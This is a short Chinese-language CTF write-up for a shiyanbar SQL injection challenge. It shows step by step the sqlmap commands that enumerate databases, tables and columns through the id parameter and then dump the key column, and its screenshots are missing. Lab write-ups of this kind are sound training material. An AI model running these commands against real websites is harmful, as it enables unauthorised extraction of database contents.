这个看起来有点简单

::: {.container}
::: {.post}
::: {.show-content}
工具:sqlmap

看到id=,看源码是get方式提交数据,所以可以用自动化工具试一试。

按照一般套路,先找数据库。

再找数据库里的表,表里面还有列,一路找下去,输出目标列的内容就可以了
命令是这样的:sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1\"
--dbs

-u 指定url;--dbs表明注入目标是查找有哪些数据库

::: {.image-package}
\

::: {.image-caption}
:::
:::


第一个数据库有四十多个表,第二个俩。第一个就省略了。

命令:sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1\" -D my_db
--tables

\

::: {.image-package}
\

::: {.image-caption}
:::
:::


其实也可以先查看当前使用的数据库,而不是每个数据库都看一看,这里只有两个,万一有十几个数据库怎么办。

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1\" --current-db

\

::: {.image-package}
\

::: {.image-caption}
:::
:::


sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1\" -D my_db -T
thiskey --column

--columns:指定列出字段

::: {.image-package}
\

::: {.image-caption}
:::
:::


sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1\" -D my_db -T
thiskey -C k0y --dump

-T:指定要列出字段的表;-C :指定要暴的字段;--dump:将结果导出

::: {.image-package}
\

::: {.image-caption}
:::
:::
:::
:::
:::